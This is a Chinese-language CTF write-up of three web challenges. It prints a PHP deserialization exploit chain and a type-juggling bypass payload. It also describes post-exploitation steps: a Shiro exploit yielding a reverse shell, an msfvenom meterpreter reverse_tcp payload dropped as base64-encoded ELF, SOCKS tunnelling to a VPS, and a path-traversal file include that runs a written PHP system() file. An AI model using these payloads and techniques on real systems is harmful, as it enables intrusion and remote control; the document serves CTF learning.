前言

当你对获奖不抱希望的时候,做题就只剩下了单纯的快乐
做出三道web,继续努力

赌徒

简单题,上去发现一行提示,除此以外什么都没有,扫一波目录
www.zip,下载查看源码

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

经典反序列化,主要是触发魔法函数

魔法函数 触发
__get 获取对象中参数时触发,即使参数不存在也会触发
__construct 构造函数,对象创建时触发
__wakeup 反序列化时触发
__sleep 序列化时触发
__invoke 当对象被作为一个方法调用时触发
__toString 直接输出对象引用时调用

通过不断触发魔法函数最终调用到file_get_contents就是我们的目标

Start中__wakeup中调用_sayhello,echo $name触发toString
        |
        |
toString中两次调用,使file['filename']为new Room,触发__get
        |
        |
__get中把$a作为方法使用,使$a=new Room,触发__invoke
        |
        |
__invoke中调用Get_hint,参数为$filename

最终exp如下:

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

}
class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    public $file;
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
}

class Room
{
    public $filename='/etc/hint';
    public $sth_to_set;
    public $a;
}

$start=new Start();
$info=new Info();
$room=new Room();

$room->a=$room;
$info->file['filename']=$room;
$start->name=$info;
echo urlencode(serialize($start));

拿到hint,让我们访问gm3.php,访问后发现是投硬币,好家伙谁跟他玩这个?继续用之前的脚本读源码,盲猜目录为/var/www/html/gm3.php
成功读出,当猜硬币成功5次后,包含/flag文件
直接读/flag,拿flag

寻宝

简单题二,究极套娃题目
进去是两个线索,分别从里面拿到KEY提交才有flag
线索1:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }

if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);

if(isset($num1) && is_numeric($num1)){
    die("非数字");
}

else{

    if($num1 > 1024){
    echo "第一层";
        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
            echo "第二层";
            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
                echo "第三层";
                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
                    echo "第四层";
                    if(!isset($num5)||(strlen($num5)==0)) die("no");
                    $b=json_decode(@$num5);
                        if($y = $b === NULL){
                                if($y === true){
                                    echo "第五层";
                                    include 'KeY1lhv.php';
                                    echo $KEY1;
                                }
                        }else{
                            die("no");
                        }
                }else{
                    die("no");
                }
            }else{
                die("no");
            }
        }else{
            die("no");
        }
    }else{
        die("no111");
    }
}

给了extract函数,明摆着让你做变量覆盖,数组当然也可以覆盖,php甚至还可以把数组覆盖为常量
filter过滤了一些非预期,不需要看
那接下来一层层看

  1. num1
    is_numeric函数用来判断一个参数是否为数字,但它的判定范围很广,16进制的字符串也会被它识别为数字,但如果你是$num1='1000'这样,他会认为你是一个字符串。我们变量覆盖后的值都是以字符串形式存在,所有我们传一个16进制且满足后面>1024条件的数进去就行
  2. num2
    长度小于等于4,但要求intval($num2+1)大于500000,脑筋急转弯,intval会识别科学计数法,传个科学计数法的值就行
  3. num3
    匹配md5($num3)的前7位,爆破一下就行

    import hashlib
    for i in range(10000000000):
    md5=hashlib.md5()
    md5.update(str(i).encode('utf-8'))
    if md5.hexdigest()[0:7] == '4bf21cd':
        print(str(i),md5.hexdigest())
        break
  4. num4
    不小于0且等于0且小于等于0,意思就是值为0,长度大于4小于8
    php弱类型判断的特性,以0开头的字符串都会被认作0,随便传一个就完事
  5. num5
    json_decode,传一个json类型的值进去
    $y = $b === NULL本质上是$b===NULL,跟\$y没啥关系,让\$y=true就行

最终构造payload:
ppp[number1]=1065b&ppp[number2]=1e10&ppp[number3]=61823470&ppp[number4]=0a12345&ppp[number5]={"y":'true',"b":NULL}

完事后拿到KEY1

线索二是个压缩包,说记录了画展五月每天的信息,里面藏着KEY2
故作玄虚,本质上也是脑洞题目,win文件管理器,设置搜索文件内容,搜索KEY2,藏在某个word里面,明文

提交两个KEY,获取flag

Hard_Penetration

题目内容:渗透测试主要以获取权限为主,这一次,你能获取到什么权限呢。
提权题目没跑了

开容器,尝试登录,抓包发现返回值里面有RemberMe

shiro漏洞,exp直接跑,没用回显直接弹shell

ctf用户,听着权限就很低,一查连命令都没几个,curl、wget等命令都没有,那先上一个msf的木马,msf的木马可以做简单上传,且功能多

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=[ip] lport=7772 -f elf | base64

获得一串base64编码后的elf文件

在msf上开启监听

use exploit/multi/handler

set PAYLOAD <Payload name>

set LHOST <LHOST value>

set LPORT <LPORT value>

run

在反弹shell上执行:

//找一个可写目录,一般shell进来的地方都能写,如 /tmp
echo "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB
AAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQ
AAAAAAAASDH/aglYkbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtI
l0i5AgAeXGUg1cpRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5
x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==" | base64 > 1.elf

chmod +x 1.elf

./1.elf

获得一个msf木马
查看网络信息,发现没有外网ip,只有127.0.0.1和一个内网ip,可能是要内网渗透

用msf上传ew_for_linux64,做内网穿透
VPS上执行:

./ew_for_linux64 -s  rcsocks -l 7774 -e 7775

目标机器:

./ew_linux_x64 -s rssocks -d 公网IP -e 7775

本机连接VPS的774端口,完成内网穿透
扫一下内网ip,发现8005端口有web服务,是一个BaoCMS,上github上把源码找下来https://github.com/IsCrazyCat/demo-baocms-v17.1

前端模糊测试,发现很多功能只是摆设,后端存在但没有弱口令,初步排除主页和功能页存在漏洞
seay发现一个角落里的文件存在包含漏洞,/Tudou/Lib/barcodegen/html/image.php,这里放它的部分源码

if(isset($_GET['code'], $_GET['t'], $_GET['r'], $_GET['rot'], $_GET['text'], $_GET['f1'], $_GET['f2'], $_GET['o'], $_GET['dpi'], $_GET['a1'], $_GET['a2']))
……

if(include($class_dir . '/BCG' . $_GET['code'] . '.barcode.php'))
……
$codebar = 'BCG' . $_GET['code'];
$code_generated = new $codebar();

一开始以为是反序列化,因为有个任意对象创建且CMS基于thinkphp,半天没搞出来,回想起扫描器报的是文件包含,上面存在一个文件包含,可以用../回溯。在php中一个不存在的目录abc,在include(./abc/../image.php)中没有任何影响。但后面没办法截断,没办法包含flag
此时,你应该想到,我们的目的是提权,shell已经在我们手上了,那我们可以在服务器上写一个php文件让它包含啊

echo "<?php system('cat /flag');?>" > /tmp/s.barcode.php
//后面无法截断,所以后缀为固定格式 .barcode.php

之后传入$code=/../../../../../../../../s和其他参数,实现文件包含,拿到flag


"孓然一身 , 了无牵挂"